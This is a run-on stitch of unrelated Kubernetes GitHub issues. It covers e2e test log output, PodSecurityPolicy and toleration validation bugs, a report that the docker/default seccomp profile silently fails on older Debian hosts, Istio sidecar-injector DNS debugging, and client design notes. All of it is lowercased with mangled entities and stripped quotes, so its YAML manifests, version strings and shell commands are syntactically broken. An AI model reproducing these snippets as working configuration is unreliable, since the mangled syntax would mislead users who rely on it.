ready: true, restart count 0& xa;apr 13 11:06:24.197: info: & x9;container eventer-nanny ready: true, restart count 0& xa;apr 13 11:06:24.197: info: & x9;container heapster ready: true, restart count 0& xa;apr 13 11:06:24.197: info: & x9;container heapster-nanny ready: true, restart count 0& xa;apr 13 11:06:24.250: info: & xa;latency metrics for node worker-n8-1-sepdqn& xa;apr 13 11:06:24.250: info: & xa;logging node info for node worker-n8-2-nyh6m4& xa;apr 13 11:06:24.258: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n8-2-nyh6m4,generatename:,namespace:,selflink:/api/v1/nodes/worker-n8-2-nyh6m4,uid:3bf3574b-3f03-11e8-8d5d-00a0a5b28a50,resourceversion:59183,generation:0,creationtimestamp:2018-04-13 06:12:55 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n8-2-nyh6m4,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n8-2-nyh6m4,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{503938625536 0} {&lt;nil&gt;} 492127564ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{67443580928 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{24 0} {&lt;nil&gt;} 24 decimalsi},ephemeral-storage: {{453544762232 0} {&lt;nil&gt;} 453544762232 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{67338723328 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:14 -0400 edt 2018-04-13 06:12:55 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:14 -0400 edt 2018-04-13 06:12:55 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:14 -0400 edt 2018-04-13 06:12:55 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:14 -0400 edt 2018-04-13 06:12:55 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:14 -0400 edt 2018-04-13 08:09:52 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.12} {hostname worker-n8-2-nyh6m4} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:a1dcb8da7152484c9bf638c59f9fae40,systemuuid:a1dcb8da7152484c9bf638c59f9fae40,bootid:b3b520ff-45fd-4c0e-9c4e-99266d2e6d32,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 lts,containerruntimeversion:docker://1.13.1,kubeletversion:v1.10.0,kubeproxyversion:v1.10.0,operatingsystem:linux,architecture:amd64,},images: { weaveworksdemos/shipping@sha256:983305c948fded487f4a4acdeab5f898e89d577b4bc1ca3de7750076469ccad4 weaveworksdemos/shipping:0.4.8  198611718} { weaveworksdemos/front-end@sha256:26a2d9b6b291dee2dca32fca3f5bff6c2fa07bb5954359afcbc8001cc70eac71 weaveworksdemos/front-end:0.3.12  119797603} { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { gcr.io/google-samples/gb-redisslave-amd64@sha256:1617b771628664299f4ca1edc7f7ffd05287b56c95d2efede8f0ae10949ebd55 gcr.io/google-samples/gb-redisslave-amd64:v2  98945667} { k8s.gcr.io/nginx-slim-amd64@sha256:8ca6a9ecef3b2ef02f6e0c3d449235d9c53d532f420cc0a29a6a133aa88df256 k8s.gcr.io/nginx-slim-amd64:0.21  95339966} { k8s.gcr.io/heapster-amd64@sha256:da3288b0fe2312c621c2a6d08f24ccc56183156ec70767987501287db4927b9d k8s.gcr.io/heapster-amd64:v1.5.0  75318378} { k8s.gcr.io/addon-resizer@sha256:507aa9845ecce1fdde4d61f530c802f4dc2974c700ce0db7730866e442db958d k8s.gcr.io/addon-resizer:1.8.1  32968591} { gcr.io/kubernetes-e2e-test-images/netexec-amd64@sha256:2edfad424a541b9e024f26368d3a5b7dcc1d7cd27a4ee8c1d8c3f81d9209ab2e gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0  6227659} { gcr.io/kubernetes-e2e-test-images/redis-amd64@sha256:3e01bcaf67cb9b5c9fa7f57ba92539c8962d59c9647b91e9ec5047a89e2bc49a gcr.io/kubernetes-e2e-test-images/redis-amd64:1.0  5850779} { gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64@sha256:2dd4032e98a0450d95a0ac71a5e465f542a900812d8c41bc6ca635aed1a5fc91 gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64:1.0  5470001} { gcr.io/kubernetes-e2e-test-images/nautilus-amd64@sha256:a4e859e40750d0e1a94470445bea3bc0ba4edc7363863a0be7a3714336040daa gcr.io/kubernetes-e2e-test-images/nautilus-amd64:1.0  4415165} { gcr.io/kubernetes-e2e-test-images/porter-amd64@sha256:b5923cab026ae1a96325823e10254c9beda240126355a20ca64b59445ec631bb gcr.io/kubernetes-e2e-test-images/porter-amd64:1.0  4400998} { gcr.io/kubernetes-e2e-test-images/test-webserver-amd64@sha256:cd237408ae94e22c4f5c6d7c6f56708341db6c428180fe1fe011c17bf9d03c50 gcr.io/kubernetes-e2e-test-images/test-webserver-amd64:1.0  4393904} { gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64@sha256:ed08ffff86b0a2016fa650ff76ea4b85fc3dfcab30ee4b7bd47d514ab765da89 gcr.io/kubernetes-e2e-test-images/entrypoint-tester-amd64:1.0  2276578} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { busybox@sha256:58ac43b2cc92c687a32c8be6278e50a063579655fe3090125dcb2af0ff9e1a64 busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}& xa;apr 13 11:06:24.258: info: & xa;logging kubelet events for node worker-n8-2-nyh6m4& xa;apr 13 11:06:24.264: info: & xa;logging pods the kubelet thinks is on node worker-n8-2-nyh6m4& xa;apr 13 11:06:24.312: info: & xa;latency metrics for node worker-n8-2-nyh6m4& xa;� 1mstep� 0m: dumping a list of prepulled images on each node to file /home/ubuntu/out/image-puller.txt& xa;apr 13 11:06:24.320: info: waiting up to 3m0s for all  but 0  nodes to be ready& xa;� 1mstep� 0m: destroying namespace & 34;e2e-tests-statefulset-tvmzl& 34; for this suite.& xa;apr 13 11:06:30.368: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered& xa;apr 13 11:06:30.542: info: namespace: e2e-tests-statefulset-tvmzl, resource: bindings, ignored listing per whitelist& xa;apr 13 11:06:30.619: info: namespace e2e-tests-statefulset-tvmzl deletion completed in 6.286314063s& xa;</system-out>\r       </testcase>\r   </testsuite>\r

failing jobs\r    gci-gce-slow  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-slow \r    gci-gke-slow  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow \r    gce-scale-correctness  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness \r \r    failing test\r     sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/16859 \r     sig-scalability  load capacity  feature:performance  should be able to handle 30 pods per node { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/16859 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-slow\r \r  / /  /milestone v1.11\r @kubernetes/sig-storage-bugs \r \r cc @jberkus @tpepper\r \r /assign @msau42 @humblec

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r \r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: security-context-demo\r spec:\r   securitycontext:\r     runasuser: 1000\r     fsgroup: 2000\r   volumes:\r   - name: sec-ctx-vol\r     emptydir: {}\r   containers:\r   - name: sec-ctx-demo\r     image: gcr.io/google-samples/node-hello:1.0\r     volumemounts:\r     - name: sec-ctx-vol\r       mountpath: /data/demo\r     securitycontext:\r       allowprivilegeescalation: true\r       \r    \r \r error\r \r    \r \r error from server  forbidden : error when creating \ test.yml\ : pods \ security-context-demo\  is forbidden: pod.spec.securitycontext.runasuser is forbidden\r \r    \r \r even pod security policy is set to runasuser --> runasany\r \r    \r root@ubuntuguest:~  kubectl get   podsecuritypolicy example\r name      data      caps      selinux    runasuser   fsgroup    supgroup   readonlyrootfs   volumes\r example   true                runasany   runasany    runasany   runasany   false             \r    \r \r    \r root@ubuntuguest:~  kubectl auth can-i use podsecuritypolicy/example\r yes\r \r    \r \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  vmware\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r     @ \r \r  >   _ @   url  _

 \r   what happened  :\r \r i incorrectly specified a pod toleration with  effect=criticaladdonsonly  instead of  key=criticaladdonsonly , and the resulting validation error was nonsensical.\r \r the full incorrect set of tolerations is:\r \r    yaml\r - effect: criticaladdonsonly\r   operator: exists\r - effect: noexecute\r   operator: exists\r    \r \r when i submit this pod to kubernetes i get the following validation error:\r \r    \r daemonset.apps \ calico-node\  is invalid: spec.template.spec.tolerations 0 .effect: unsupported value: \ noexecute\ : supported values: \ noschedule\ , \ prefernoschedule\ , \ noexecute\ \r    \r \r note that it correctly identifies the first toleration as incorrect, but says that  noexecute  is both invalid and one of the supported values, even though  noexecute  appears nowhere in that toleration.\r \r this appears to happen only when there is a  noexecute  toleration following the malformed toleration. if i remove the second toleration from this pod, the validation fails with the correct error:\r \r    \r daemonset.apps \ calico-node\  is invalid: spec.template.spec.tolerations 0 .effect: unsupported value: \ criticaladdonsonly\ : supported values: \ noschedule\ , \ prefernoschedule\ , \ noexecute\ \r    \r \r this smells a lot like accidentally using an iteration value in a for loop without copying it first, such that just traversing the  noexecute  toleration ends up corrupting the error for the first toleration.\r \r   what you expected to happen  :\r \r the validation error should make sense.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r submit a pod to kubernetes with the above tolerations set.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : debian testing\r - kernel  e.g.  uname -a  : 4.16.5\r - install tools: kubeadm

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i set the annotation  seccomp.security.alpha.kubernetes.io/pod: docker/default  on a pod, and the resulting pod was not sandboxed.\r \r the root cause is documented at https://docs.docker.com/engine/security/seccomp/ : on older debian-family distros, the docker package is built with seccomp support disabled because of version skew issues.\r \r worse, because of the way kubernetes and docker interact, the failure is silent: enabling the default seccomp profile translates to _removing_ security options from the docker create request, which kubernetes thinks means \ fall back to your default, which is to use the builtin seccomp profile\ . however, to docker it means \ do whatever my compile-time default is\ , which can be the same as the \ unconfined\  profile.\r \r   what you expected to happen  :\r \r i expected pod creation to fail with a principled error if the container runtime is unable or unwilling to match my pod specifications.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on a cluster with nodes running ubuntu 14.04, debian wheezy or debian jessie, run the following pod:\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-seccomp\r   annotations:\r     seccomp.security.alpha.kubernetes.io/pod: docker/default\r spec:\r   containers:\r   - name: test\r     image: \ debian\ \r     command:  \ /bin/bash\ , \ -c\ , \ apt update && apt -y install keyutils && keyctl show && sleep 3600\  \r    \r \r in the logs, you will see that  keyctl show  is able to list the contents of the kernel keyring, even though docker's default seccomp profile blocks kernel keyring syscalls. note that there was no error or complaint that the seccomp policy is not being applied.\r \r on any other system  e.g. debian buster, ubuntu 18.04 , the pod will crashloop because  keyctl show  will fail with a permission error.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : debian jessie  current stable \r - kernel  e.g.  uname -a  : 4.16.5\r - install tools: kubeadm\r - others: docker-ce from docker's debian package repos.

this testsuite is failing or very flaky and blocking 1.11.3. \r can someone triage the issue?\r \r @yguo0905 @mindprince \r https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gce-device-plugin-gpu-1.11

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i want to have a dedicated node to play data forwarding in the cluster.\r it can link clusters in different regions to rely on these nodes to connect to a virtual network. it's like a direct connection between a switch and a switch. it's more like a distributed vpn network.\r   why is this needed  :\r a small part of my nodes run on the public network, but i have more computing resources in the intranet. these nodes can not communicate with the network nodes, because the ports between the nodes can not be directly connected, only one-way connection, that is, the intranet nodes after nat can access the public network nodes, but the public network nodes can not access them. intranet node. a proxy node is needed to connect the intranet area and the extranet area. however, i only found that rancaher's cattle has this function and built a virtual network with the help of vlxan. i hope that k8s will also have such an extension to solve the interoperability of inter reg\r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r after installing istio, when deploying the httpbin service into the default namespace, the pod doesn't get created. the events on the replica set indicate the folowing errors:\r \r    \r error creating: internal error occurred: failed calling admission webhook \ sidecar-injector.istio.io\ : post https://istio-sidecar-injector.istio-system.svc:443/inject?timeout=30s: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r    \r \r   what you expected to happen  :\r the envoy sidecar is loaded without any error\r \r   how to reproduce it  as minimally and precisely as possible   :\r   cluster installed on aws eks  i didn't setup the cluster myself, so little help there \r   followed the security groups configurations suggested  here  https://docs.aws.amazon.com/eks/latest/userguide/sec-group-reqs.html \r   installed istio following the tutorial  here  https://aws.amazon.com/blogs/opensource/getting-started-istio-eks/ \r     changed the values file to combine install/kubernetes/helm/istio/values-istio-demo.yaml with install/kubernetes/helm/istio/values-istio-sds-auth.yaml\r     the vault server is up and running in https://vault.vault:8200 in its own namespace\r   installed the httpbin sample\r   installation halts with the error described above\r \r   anything else we need to know?  :\r \r   the istio-sidecar-injector service and pod are running happily on the istio-system namespace\r   for troubleshooting, i did the following:\r     turn off automatic injection in namespace default by deleting the label   istio-injection  \r     run a busybox image with curl\r    \r kubectl run curl --image=radial/busyboxplus:curl -i --tty\r    \r     curl the endpoint reported in error \r    \r kubectl run curl --image=radial/busyboxplus:curl -i --tty\r   root@curl-87b54756-qxsxj:/  $ curl -k https://istio-sidecar-injector.istio-system.svc:443/inject?timeout=30s\r curl:  6  couldn't resolve host 'istio-sidecar-injector.istio-system.svc'\r    \r     funny part, if i try the short name or fqdn, it works\r    \r   root@curl-87b54756-qxsxj:/  $ curl https://istio-sidecar-injector.istio-system:443/inject -k -v\r   sslv3, tls handshake, client hello  1 :\r   sslv3, tls handshake, server hello  2 :\r   sslv3, tls handshake, cert  11 :\r   sslv3, tls handshake, server key exchange  12 :\r   sslv3, tls handshake, server finished  14 :\r   sslv3, tls handshake, client key exchange  16 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r > get /inject http/1.1\r > user-agent: curl/7.35.0\r > host: istio-sidecar-injector.istio-system\r > accept:  / \r >\r < http/1.1 400 bad request\r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < date: tue, 21 may 2019 10:13:33 gmt\r < content-length: 14\r <\r no body found\r    \r    \r   root@curl-87b54756-qxsxj:/  $ curl https://istio-sidecar-injector.istio-system:443/inject -k -v\r   sslv3, tls handshake, client hello  1 :\r   sslv3, tls handshake, server hello  2 :\r   sslv3, tls handshake, cert  11 :\r   sslv3, tls handshake, server key exchange  12 :\r   sslv3, tls handshake, server finished  14 :\r   sslv3, tls handshake, client key exchange  16 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r   sslv3, tls change cipher, client hello  1 :\r   sslv3, tls handshake, finished  20 :\r > get /inject http/1.1\r > user-agent: curl/7.35.0\r > host: istio-sidecar-injector.istio-system\r > accept:  / \r >\r < http/1.1 400 bad request\r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < date: tue, 21 may 2019 10:42:49 gmt\r < content-length: 14\r <\r no body found\r    \r     even funnier part, if i nslookup the address that's failing, it resolves to the correct ip\r    \r   root@curl-87b54756-qxsxj:/  $ nslookup istio-sidecar-injector.istio-system\r server:    172.20.0.10\r address 1: 172.20.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      istio-sidecar-injector.istio-system\r address 1: 172.20.51.17 istio-sidecar-injector.istio-system.svc.cluster.local\r   root@curl-87b54756-qxsxj:/  $ nslookup istio-sidecar-injector.istio-system.svc\r server:    172.20.0.10\r address 1: 172.20.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      istio-sidecar-injector.istio-system.svc\r address 1: 172.20.51.17 istio-sidecar-injector.istio-system.svc.cluster.local\r    \r \r and then it gets weirder... running a base jre alpine image, apk'd curl and voila, it works:\r    \r $ kubectl run curl2 --image=openjdk:8-jre-alpine -i --tty\r if you don't see a command prompt, try pressing enter.\r /   nslookup istio-sidecar-injector.istio-system.svc\r nslookup: can't resolve ' null ': name does not resolve\r \r name:      istio-sidecar-injector.istio-system.svc\r address 1: 172.20.51.17 istio-sidecar-injector.istio-system.svc.cluster.local\r /   apk add curl\r fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/main/x86_64/apkindex.tar.gz\r fetch http://dl-cdn.alpinelinux.org/alpine/v3.9/community/x86_64/apkindex.tar.gz\r  1/4  installing nghttp2-libs  1.35.1-r0 \r  2/4  installing libssh2  1.8.2-r0 \r  3/4  installing libcurl  7.64.0-r1 \r  4/4  installing curl  7.64.0-r1 \r executing busybox-1.29.3-r10.trigger\r ok: 85 mib in 57 packages\r /   curl https://istio-sidecar-injector.istio-system.svc:443/inject -k -v\r   expire in 0 ms for 6  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 0 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 1 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 4 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 2 ms for 1  transfer 0x560aa8bfc7a0 \r   expire in 3 ms for 1  transfer 0x560aa8bfc7a0 \r     trying 172.20.51.17...\r   tcp_nodelay set\r   expire in 200 ms for 4  transfer 0x560aa8bfc7a0 \r   connected to istio-sidecar-injector.istio-system.svc  172.20.51.17  port 443   0 \r   alpn, offering h2\r   alpn, offering http/1.1\r   successfully set certificate verify locations:\r     cafile: /etc/ssl/certs/ca-certificates.crt\r   capath: none\r   tlsv1.3  out , tls handshake, client hello  1 :\r   tlsv1.3  in , tls handshake, server hello  2 :\r   tlsv1.2  in , tls handshake, certificate  11 :\r   tlsv1.2  in , tls handshake, server key exchange  12 :\r   tlsv1.2  in , tls handshake, server finished  14 :\r   tlsv1.2  out , tls handshake, client key exchange  16 :\r   tlsv1.2  out , tls change cipher, change cipher spec  1 :\r   tlsv1.2  out , tls handshake, finished  20 :\r   tlsv1.2  in , tls handshake, finished  20 :\r   ssl connection using tlsv1.2 / ecdhe-rsa-aes128-gcm-sha256\r   alpn, server accepted to use h2\r   server certificate:\r    subject:  none \r    start date: may 20 14:10:34 2019 gmt\r    expire date: aug 18 14:10:34 2019 gmt\r    issuer: o=cluster.local\r    ssl certificate verify result: unable to get local issuer certificate  20 , continuing anyway.\r   using http2, server supports multi-use\r   connection state changed  http/2 confirmed \r   copying http/2 data in stream buffer to connection buffer after upgrade: len=0\r   using stream id: 1  easy handle 0x560aa8bfc7a0 \r > get /inject http/2\r > host: istio-sidecar-injector.istio-system.svc\r > user-agent: curl/7.64.0\r > accept:  / \r >\r   connection state changed  max_concurrent_streams == 250 !\r < http/2 400\r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < content-length: 14\r < date: tue, 21 may 2019 15:26:54 gmt\r <\r no body found\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-eks-7c34c0\ , gitcommit:\ 7c34c0d2f2d0f11f397d55a46945193a0e22d8f3\ , gittreestate:\ clean\ , builddate:\ 2019-03-01t22:49:39z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r aws, kubernetes version 1.11 platform version eks.2\r \r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

the admission control factory should allow passing additional clients and other objects needed by the admission controller to do its work.

currently pkg/client has logically distinct low level restclient  get, put, post...  and high level typed client  podsnamespacer etc .  the api version  and implictly, group  is currently baked into the low level restclient, but this is wrong. we want to use the same low-level code for all api versions and groups, and supply a different high level client for each version.  the action item here is to remove references to \ version\  from the restclient, and put them in the high level client, adding group  , version  , and groupversion   calls to the client.request object.

the latency metrics in request.go are occuring at too high a granularity.   if they are only meant to measure the total time for request success  ignoring retries , we should comment them as such.  otherwise, lets move them into the most granular part of the request   function,   see  16271 for origin of this discussion.

console $ kubectl delete job cluster-api                                                                                                                                                                                                           w0516 14:50:06.029318   46013 request.go:627  throttling request took 91.588501ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-6rtdk w0516 14:50:06.229352   46013 request.go:627  throttling request took 139.149563ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-6ubt2 w0516 14:50:06.429350   46013 request.go:627  throttling request took 139.014956ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-6uzlu w0516 14:50:06.629218   46013 request.go:627  throttling request took 135.719182ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-72a53 w0516 14:50:06.829415   46013 request.go:627  throttling request took 140.180579ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-79iyp w0516 14:50:07.029420   46013 request.go:627  throttling request took 136.05077ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7a0ko w0516 14:50:07.229330   46013 request.go:627  throttling request took 139.142785ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7ab5f w0516 14:50:07.429420   46013 request.go:627  throttling request took 134.851916ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7b1je w0516 14:50:07.629311   46013 request.go:627  throttling request took 140.017247ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7c5yi w0516 14:50:07.829353   46013 request.go:627  throttling request took 139.282117ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7crby w0516 14:50:08.028555   46013 request.go:627  throttling request took 135.253588ms, request: delete:https://104.197.93.146/api/v1/namespaces/default/pods/cluster-api-7cu7f      this loop is getting rate limited:  https://github.com/kubernetes/kubernetes/blob/fdb110c859c1bd626ac41c886ed76ab5bc973318/pkg/kubectl/stop.go l346-l354  cc @soltysh @erictune

unit tests cannot cover the entire breadth and depth of a feature and hence give limited signals about certain features. while end-to-end tests can test features as a whole, they are both expensive to write and debug and expensive to run them in ci. \r \r integration tests help us strike a balance between these two types of tests in many cases. the reason why we haven't written integration tests in federation is due to the lack of infrastructure to write these tests. we need to build the infrastructure to encourage people to write integration tests.\r \r cc @kubernetes/sig-federation-feature-requests @nikhiljindal @shashidharatd

\r $ cluster/kubectl.sh get pods\r name                     ready     status        restarts   age\r nginx-4000326355-16f5c   0/1       terminating   0          1m\r  decarr@localhost kubernetes  burstable-cpu-shares  $ cluster/kubectl.sh get pods -w\r error: unable to output the provided object: error: unknown type &unstructured.unstructuredlist{object:map string interface {}{\ kind\ :\ podlist\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ selflink\ :\ /api/v1/namespaces/default/pods\ , \ resourceversion\ :\ 458\ }}, items:   unstructured.unstructured{  unstructured.unstructured  0xc420032058 }}\r $ cluster/kubectl.sh get pods -w -o name\r pods/nginx-4000326355-4fhq5\r    \r \r looks like human readable printer is barfing, but others work.

